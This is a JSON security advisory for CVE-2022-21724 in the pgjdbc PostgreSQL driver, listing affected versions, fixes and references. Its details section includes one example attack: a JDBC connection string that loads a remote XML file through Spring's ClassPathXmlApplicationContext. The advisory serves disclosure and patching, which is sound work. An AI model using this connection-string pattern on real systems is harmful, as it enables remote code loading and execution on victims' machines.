{"schema_version":"1.9.0","id":"GHSA-v7wg-cpwc-24m4","published":"2022-02-02T00:04:20Z","modified":"2026-09-10T03:49:12.996698719Z","aliases":["BIT-postgresql-jdbc-driver-2022-21724","CVE-2022-21724"],"summary":"pgjdbc Does Not Check Class Instantiation when providing Plugin Classes","details":"### Impact\n\npgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties.\n\nHowever, the driver did not verify if the class implements the expected interface before instantiating the class.\n\nHere's an example attack using an out-of-the-box class from Spring Framework:\n\n```\nDriverManager.getConnection(\"jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml\");\n```\n\nThe first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)","affected":[{"package":{"name":"org.postgresql:postgresql","ecosystem":"Maven","purl":"pkg:maven/org.postgresql/postgresql"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.1208"},{"fixed":"42.2.25"}]}],"versions":["42.0.0","42.0.0.jre6","42.0.0.jre7","42.1.0","42.1.0.jre7","42.1.1","42.1.1.jre6","42.1.1.jre7","42.1.2","42.1.2.jre6","42.1.2.jre7","42.1.3","42.1.3.jre6","42.1.3.jre7","42.1.4","42.1.4.jre6","42.1.4.jre7","42.2.0","42.2.0.jre6","42.2.0.jre7","42.2.1","42.2.1.jre6","42.2.1.jre7","42.2.10","42.2.10.jre6","42.2.10.jre7","42.2.11","42.2.11.jre6","42.2.11.jre7","42.2.12","42.2.12.jre6","42.2.12.jre7","42.2.13","42.2.13.jre6","42.2.13.jre7","42.2.14","42.2.14.jre6","42.2.14.jre7","42.2.15","42.2.15.jre6","42.2.15.jre7","42.2.16","42.2.16.jre6","42.2.16.jre7","42.2.17","42.2.17.jre6","42.2.17.jre7","42.2.18","42.2.18.jre6","42.2.18.jre7","42.2.19","42.2.19.jre6","42.2.19.jre7","42.2.2","42.2.2.jre6","42.2.2.jre7","42.2.20","42.2.20.jre6","42.2.20.jre7","42.2.21","42.2.21.jre6","42.2.21.jre7","42.2.22","42.2.22.jre6","42.2.22.jre7","42.2.23","42.2.23.jre6","42.2.23.jre7","42.2.24","42.2.24.jre6","42.2.24.jre7","42.2.3","42.2.3.jre6","42.2.3.jre7","42.2.4","42.2.4.jre6","42.2.4.jre7","42.2.5","42.2.5.jre6","42.2.5.jre7","42.2.6","42.2.6.jre6","42.2.6.jre7","42.2.7","42.2.7.jre6","42.2.7.jre7","42.2.8","42.2.8.jre6","42.2.8.jre7","42.2.9","42.2.9.jre6","42.2.9.jre7","9.4.1208","9.4.1208.jre6","9.4.1208.jre7","9.4.1209","9.4.1209.jre6","9.4.1209.jre7","9.4.1210","9.4.1210.jre6","9.4.1210.jre7","9.4.1211","9.4.1211.jre6","9.4.1211.jre7","9.4.1212","9.4.1212.jre6","9.4.1212.jre7"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/02/GHSA-v7wg-cpwc-24m4/GHSA-v7wg-cpwc-24m4.json"}},{"package":{"name":"org.postgresql:postgresql","ecosystem":"Maven","purl":"pkg:maven/org.postgresql/postgresql"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"42.3.0"},{"fixed":"42.3.2"}]}],"versions":["42.3.0","42.3.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/02/GHSA-v7wg-cpwc-24m4/GHSA-v7wg-cpwc-24m4.json"}}],"references":[{"type":"WEB","url":"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-21724"},{"type":"WEB","url":"https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813"},{"type":"PACKAGE","url":"https://github.com/pgjdbc/pgjdbc"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2022/05/msg00027.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BVEO7BEFXPBVHSPYL3YKQWZI6DYXQLFS"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20220311-0005"},{"type":"WEB","url":"https://www.debian.org/security/2022/dsa-5196"}],"database_specific":{"cwe_ids":["CWE-665","CWE-668","CWE-74"],"github_reviewed":true,"github_reviewed_at":"2022-02-01T22:40:00Z","nvd_published_at":"2022-02-02T12:15:00Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}